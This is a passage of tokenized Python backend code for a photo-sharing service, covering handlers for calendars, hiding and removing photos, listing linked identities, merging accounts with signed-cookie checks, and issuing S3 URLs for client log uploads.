"Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "0_", ",_", "#", " ", "All", " ", "build", " ", "archive", " ", "request", "s", " ", "serialize", " ", "on", " ", "lock", " ", "for", " ", "user", " ", "0._", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Build", "Archive", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "BUILD", " ", "ARCHIVE", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", "'_", "%_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "Get", "Calendar_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Querie", "s", " ", "calendar", "(", "s", ")", " ", "for", " ", "the", " ", "user", " ", "for", " ", "the", " ", "specified", " ", "year", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "On", "Query", "User_", "(_", "user_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "calendar", "s_", "=_", "request_", "[_", "'", "calendar", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "{_", "'", "calendar", "s", "'_", ":_", "[_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "cal_", "in_", "calendar", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "cal_", "[_", "'", "calendar", "\\u", "id", "'_", "]_", "==_", "'", "holiday", "s", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cal", "\\u", "data_", "=_", "Calendar_", "._", "Get", "Hol", "ida", "ys", "By", "Locale_", "(_", "user_", "._", "locale_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cal", "\\u", "data_", "=_", "Calendar_", "._", "Get", "Calendar_", "(_", "cal_", "[_", "'", "calendar", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "response_", "[_", "'", "calendar", "s", "'_", "]_", "._", "append_", "(_", "{_", "'", "calendar", "\\u", "id", "'_", ":_", "cal", "\\u", "data_", "._", "calendar", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "year", "'_", ":_", "cal_", "[_", "'", "year", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "events", "'_", ":_", "cal", "\\u", "data_", "._", "Get", "Events_", "(_", "year_", "=_", "cal_", "[_", "'", "year", "'_", "]_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "GET", " ", "CALENDAR", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "calendar", "s", ",", " ", "event", " ", "count", "s", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "len_", "(_", "calendar", "s_", ")_", ",_", "dict_", "(_", "[_", "(_", "c_", "[_", "'", "calendar", "\\u", "id", "'_", "]_", ",_", "len_", "(_", "c_", "[_", "'", "events", "'_", "]_", ")_", ")_", "for_", "c_", "in_", "response_", "[_", "'", "calendar", "s", "'_", "]_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Query", " ", "the", " ", "user", "'", "s", " ", "locale", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "User_", "._", "Query_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "None_", ",_", "\\u", "On", "Query", "User_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Hi", "de", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Hi", "des", " ", "photo", "s", " ", "from", " ", "a", " ", "user", "'", "s", " ", "persona", "l", " ", "librar", "y", " ", "and", " ", "inbox", " ", "view", ".", " ", "To", " ", "be", " ", "more", " ", "precise", ",", " ", "*", "posts", "*", "\\", "10", ";", " ", " ", "are", " ", "marked", " ", "as", " ", "remove", "d", ".", " ", "Thi", "s", " ", "means", " ", "tha", "t", " ", "if", " ", "a", " ", "photo", " ", "has", " ", "bee", "n", " ", "shared", " ", "with", " ", "a", " ", "user", " ", "multiple", " ", "times", ",", "\\", "10", ";", " ", " ", "every", " ", "instance", " ", "of", " ", "tha", "t", " ", "photo", " ", "(", "i", ".", "e", ".", " ", "post", ")", " ", "shou", "ld", " ", "be", " ", "marked", " ", "as", " ", "hidden", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Hi", "de", "Photos", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "num", "\\u", "photos_", "=_", "sum_", "(_", "len_", "(_", "ep", "\\u", "dict_", "[_", "'", "photo", "\\u", "ids", "'_", "]_", ")_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "HID", "E", " ", "PHOTO", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "%", "d", " ", "photo", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "num", "\\u", "photos_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "List", "Ident", "ities_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", "s", " ", "a", " ", "list", " ", "of", " ", "identities", " ", "linked", " ", "to", " ", "this", " ", "account", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "Make", "Ident", "it", "y", "Dict_", "(_", "ident_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "dict_", "=_", "{_", "'", "identi", "ty", "'_", ":_", "ident_", "._", "key_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ident_", "._", "authority_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i", "\\u", "dict_", "[_", "'", "authori", "ty", "'_", "]_", "=_", "ident_", "._", "authority_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "i", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "query", "\\u", "expr_", "=_", "'", "identi", "ty", ".", "user", "\\u", "id", "=", "%", "d", "'_", "%_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "identities", "_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Identity_", "._", "Index", "Query_", ",_", "client_", ",_", "query", "\\u", "expr_", ",_", "[_", "'", "key", "'_", ",_", "'", "authori", "ty", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "'", "identities", "'_", ":_", "[_", "\\u", "Make", "Ident", "it", "y", "Dict_", "(_", "ident_", ")_", "for_", "ident_", "in_", "identities", "_", "]_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Merge", "Account", "s_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Merge", "s", " ", "asset", "s", " ", "from", " ", "the", " ", "user", " ", "account", " ", "give", "n", " ", "in", " ", "the", " ", "request", " ", "int", "o", " ", "the", " ", "account", " ", "of", " ", "the", " ", "current", "\\", "10", ";", " ", " ", "user", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Activity_", "._", "Verify", "Activ", "it", "y", "Id_", "(_", "client_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "activit", "y", "'_", "]_", "[_", "'", "activit", "y", "\\u", "id", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "user", "\\u", "cookie_", "=_", "request_", "._", "pop_", "(_", "'", "source", "\\u", "user", "\\u", "cookie", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "source", "\\u", "user", "\\u", "cookie_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Decode", " ", "the", " ", "cookie", " ", "for", " ", "the", " ", "source", " ", "account", " ", "to", " ", "merge", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "merge", "\\u", "cookie_", "=_", "web_", "._", "decode", "\\u", "sign", "ed", "\\u", "value_", "(_", "secrets_", "._", "Get", "Secret_", "(_", "'", "cookie", "\\u", "secret", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "._", "\\u", "USER", "\\u", "COOKIE", "\\u", "NAME_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "user", "\\u", "cookie_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "base_", "._", "\\u", "USER", "\\u", "COOKIE", "\\u", "EXPIRE", "S", "\\u", "DAYS_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "merge", "\\u", "cookie_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "403_", ",_", "'", "The", " ", "source", "\\u", "user", "\\u", "cookie", " ", "value", " ", "is", " ", "not", " ", "valid", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source", "\\u", "user", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "merge", "\\u", "cookie_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "\\u", "user", "\\u", "id_", "=_", "source", "\\u", "user", "\\u", "dict_", "[_", "'", "user", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Sou", "rce", " ", "user", " ", "cookie", " ", "must", " ", "be", " ", "confirm", "ed", " ", "in", " ", "order", " ", "to", " ", "merge", " ", "it", "._", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "www", "\\u", "util_", "._", "Is", "Confirm", "ed", "Cookie_", "(_", "source", "\\u", "user", "\\u", "dict_", "._", "get_", "(_", "'", "confirm", "\\u", "time", "'_", ",_", "None_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Permi", "ssion", "Error_", "(_", "MERGE", "\\u", "COOKIE", "\\u", "NOT", "\\u", "CONFIRM", "ED_", ",_", "user", "\\u", "id_", "=_", "source", "\\u", "user", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "source", "\\u", "identi", "ty", "\\u", "dict_", "=_", "request_", "._", "pop_", "(_", "'", "source", "\\u", "identi", "ty", "'_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "source", "\\u", "identi", "ty", "\\u", "dict_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Inva", "lid", "Request", "Error_", "(_", "MISSING", "\\u", "MERGE", "\\u", "SOURCE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "identity_", "=_", "yield_", "Identity_", "._", "Verify", "Confirm", "ed", "Identity_", "(_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "identi", "ty", "\\u", "dict_", "[_", "'", "identi", "ty", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "source", "\\u", "identi", "ty", "\\u", "dict_", "[_", "'", "access", "\\u", "token", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source", "\\u", "user", "\\u", "id_", "=_", "identity_", "._", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "source", "\\u", "user", "\\u", "id_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "source", "\\u", "user", "\\u", "id_", "==_", "user", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "400_", ",_", "'", "Cann", "ot", " ", "merge", " ", "a", " ", "user", " ", "account", " ", "int", "o", " ", "its", "elf", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "source", "\\u", "user_", "=_", "yield_", "gen_", "._", "Task_", "(_", "User_", "._", "Query_", ",_", "client_", ",_", "source", "\\u", "user", "\\u", "id_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "source", "\\u", "user_", "._", "Is", "Terminate", "d_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "web_", "._", "HTTP", "Error_", "(_", "400_", ",_", "'", "Cann", "ot", " ", "merge", " ", "a", " ", "terminate", "d", " ", "user", " ", "account", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "request_", "[_", "'", "source", "\\u", "user", "\\u", "id", "'_", "]_", "=_", "source", "\\u", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "target", "\\u", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Merge", "Account", "s", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "request_", "._", "pop_", "(_", "'", "activit", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "source", "\\u", "identi", "ty", "\\u", "key", "'_", "]_", "=_", "identity_", "._", "key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "[_", "'", "target", "\\u", "user", "\\u", "id", "'_", "]_", "=_", "user", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "gen_", "._", "Task_", "(_", "Operation_", "._", "Creat", "e", "And", "Execute_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "client_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Link", "Ident", "it", "y", "Opera", "tion", ".", "Execut", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "MERGE", " ", "ACCOUNT", "S", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "source", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "source", "\\u", "user", "\\u", "id_", "or_", "identity_", "._", "key_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "New", "Client", "Log", "Url_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ",_", "callback_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", "s", " ", "an", " ", "S", "3", " ", "PU", "T", " ", "URL", " ", "for", " ", "clients", " ", "to", " ", "write", " ", "mobile", " ", "device", " ", "logs", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kwargs_", "=_", "{_", "'", "user", "\\u", "id", "'_", ":_", "user", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "device", "\\u", "id", "'_", ":_", "device", "\\u", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "timestamp", "'_", ":_", "request_", "[_", "'", "timestamp", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "client", "\\u", "log", "\\u", "id", "'_", ":_", "request_", "[_", "'", "client", "\\u", "log", "\\u", "id", "'_", "]_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "content", "\\u", "type", "'_", "in_", "request_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "content", "\\u", "type", "'_", "]_", "=_", "request_", "[_", "'", "content", "\\u", "type", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "content", "\\u", "md5", "'_", "in_", "request_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "content", "\\u", "md5", "'_", "]_", "=_", "request_", "[_", "'", "content", "\\u", "md5", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "num", "\\u", "bytes", "'_", "in_", "request_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "kwargs_", "[_", "'", "max", "\\u", "bytes", "'_", "]_", "=_", "request_", "[_", "'", "num", "\\u", "bytes", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "logging_", "._", "info_", "(_", "'", "GET", " ", "NEW", " ", "CLIENT", " ", "LOG", " ", "URL", ":", " ", "user", ":", " ", "%", "d", ",", " ", "device", ":", " ", "%", "d", ",", " ", "client", " ", "log", " ", "id", ":", " ", "%", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", "[_", "'", "client", "\\u", "log", "\\u", "id", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "{_", "'", "client", "\\u", "log", "\\u", "put", "\\u", "url", "'_", ":_", "Client", "Log_", "._", "Get", "Put", "Url_", "(_", "**_", "kwargs_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "callback_", "(_", "response_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "gen_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "Old", "Remove", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Us", "ed", " ", "by", " ", "older", " ", "clients", " ", "to", " ", "remove", " ", "photo", "s", " ", "from", " ", "showin", "g", " ", "in", " ", "a", " ", "user", "'", "s", " ", "persona", "l", " ", "librar", "y", ".", " ", "Unli", "ke", "\\", "10", ";", " ", " ", "the", " ", "new", " ", "remove", "\\u", "photo", "s", ",", " ", "photo", "s", " ", "can", " ", "be", " ", "remove", "d", " ", "from", " ", "shared", " ", "view", "points", " ", "as", " ", "well", " ", "as", " ", "the", " ", "default", "\\", "10", ";", " ", " ", "view", "point", ".", " ", "Photos", " ", "are", " ", "hidden", " ", "in", " ", "shared", " ", "view", "points", ",", " ", "and", " ", "remove", "d", " ", "from", " ", "the", " ", "default", " ", "view", "point", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "\\u", "episodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "hide", "\\u", "episodes_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ep", "\\u", "dict_", "in_", "request_", "[_", "'", "episode", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "episode_", "=_", "yield_", "gen_", "._", "Task_", "(_", "Episode_", "._", "Query_", ",_", "client_", ",_", "ep", "\\u", "dict_", "[_", "'", "episode", "\\u", "id", "'_", "]_", ",_", "None_", ",_", "must", "\\u", "exist_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "episode_", "is_", "None_", "or_", "episode_", "._", "view", "point", "\\u", "id_", "==_", "base_", "._", "View", "finde", "r", "Context_", "._", "current_", "(_", ")_", "._", "user_", "._", "private", "\\u", "vp", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Episod", "es", " ", "from", " ", "the", " ", "user", "'", "s", " ", "default", " ", "view", "point", " ", "shou", "ld", " ", "be", " ", "remove", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "remove", "\\u", "episodes_", "._", "append_", "(_", "ep", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Episod", "es", " ", "from", " ", "other", " ", "view", "points", " ", "shou", "ld", " ", "be", " ", "hidden", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hide", "\\u", "episodes_", "._", "append_", "(_", "ep", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "hide", "\\u", "request_", "=_", "deepcopy_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "hide", "\\u", "episodes_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hide", "\\u", "request_", "[_", "'", "episode", "s", "'_", "]_", "=_", "hide", "\\u", "episodes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Hi", "de", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "hide", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "remove", "\\u", "request_", "=_", "deepcopy_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "\\u", "request_", "[_", "'", "episode", "s", "'_", "]_", "=_", "remove", "\\u", "episodes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "Remove", "Photos", "_", "(_", "client_", ",_", "obj", "\\u", "store_", ",_", "user", "\\u", "id_", ",_", "device", "\\u", "id_", ",_", "remove", "\\u", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "raise_", "gen_", "._", "Return_", "(_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 